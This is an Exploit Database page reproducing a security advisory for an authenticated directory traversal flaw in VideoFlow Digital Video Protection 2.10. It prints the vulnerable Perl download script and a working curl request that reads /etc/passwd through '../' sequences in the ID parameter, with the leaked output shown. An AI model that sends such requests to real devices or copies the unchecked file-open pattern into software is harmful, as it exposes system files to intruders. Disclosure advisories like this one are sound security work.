



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

VideoFlow Digital Video Protection (DVP) 2.10 - Directory Traversal

EDB-ID:

44386

CVE:

N/A

EDB Verified: ✘

Author:

[LIQUIDWORM](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PERL](#)

Date:

2018-04-02

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal

Vendor: VideoFlow Ltd.

Product web page: <http://www.video-flow.com>

Affected version: 2.10 (X-Prototype-Version: 1.6.0.2)

System = Indicate if the DVP is configured as Protector, Sentinel or Fortress

Version = The Operating System SW version number

Image version = Production Image version

```
System: DVP Protector
Version: 1.40.0.15(R) May 5 2015 05:27:05
Image version: 3.07i
```

```
System: DVP Protector
Version: 1.40.0.15(R) May 5 2015 05:27:05
Image version: 2.08
```

```
System: DVP Fortress
Version: 2.10.0.5(R) Jan 7 2018 03:26:35
Image version: 3.07
```

Summary: VideoFlow's Digital Video Protection (DVP) product is used by leading companies worldwide to boost the reliability of IP networks, including the public Internet, for professional live broadcast. DVP enables broadcast companies to confidently contribute and distribute live video over IP with unprecedented levels of service continuity, at a fraction of the cost of leased lines or satellite links. It accelerates ROI by reducing operational costs and enabling new revenue streams across a wide variety of markets.

Desc: The application suffers from an authenticated arbitrary file disclosure vulnerability including no session expiration. Input passed via the 'ID' parameter in several Perl scripts is not properly verified before being used to download system files. This can be exploited to disclose the contents of arbitrary files via directory traversal attacks.

Scripts affected:

```
$ grep -rnH "Content-Disposition" .
./download.pl:30:   print "Content-
Disposition:attachment;filename=$ID\n\n";
./download_xml.pl:23:   print "Content-
Disposition:attachment;filename=$ID\n\n";
./downloadmib.pl:22:   print "Content-
Disposition:attachment;filename=$ID\n\n";
./downloadFile.pl:30:   print "Content-
Disposition:attachment;filename=$OUTNAME\n\n";
./downloads.pl:22:   print "Content-
Disposition:attachment;filename=$ID\n\n";
```

```
-----
-
/dvp100/confd/docroot/cgi-bin/downloads.pl:
-----
```

```
1  #!/usr/bin/perl -wT
2  # http://www.sitepoint.com/file-download-script-perl/
3
4  use strict;
5  use CGI;
6  use CGI::Carp qw ( fatalsToBrowser );
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

7   my $files_location;
8   my $query = CGI->new;
9   my $ID = $query->param('ID');
10  my @fileholder;
11
12  $files_location = "/dvp100/confd/docroot/cgi-bin/";
13  #$ID = "syslog.tar.gz"; #param('ID');
14
15  if ($ID eq '') {
16
17  } else {
18      open(DLFILE, "<$files_location/$ID") || Error('open',
'file');
19      @fileholder = <DLFILE>;
20      close (DLFILE) || Error ('close', 'file');
21      print "Content-Type:application/x-download\n";
22      print "Content-Disposition:attachment;filename=$ID\n\n";
23      print @fileholder;
24  }

```

-
Tested on: CentOS release 5.6 (Final) (2.6.18-238.12.1.el5)
CentOS release 5.10 (Final) (2.6.18-371.el5)
ConfD

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2018-5454
Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5454.php>

01.02.2018

```

curl 'http://17.17.17.17/cgi-bin/downloads.pl?ID=../../../../etc/passwd'
-H Cookie:sessionid=sess3638473331458218
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
...
...

```

Tags:

Advisory/Source: [Link](#)





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.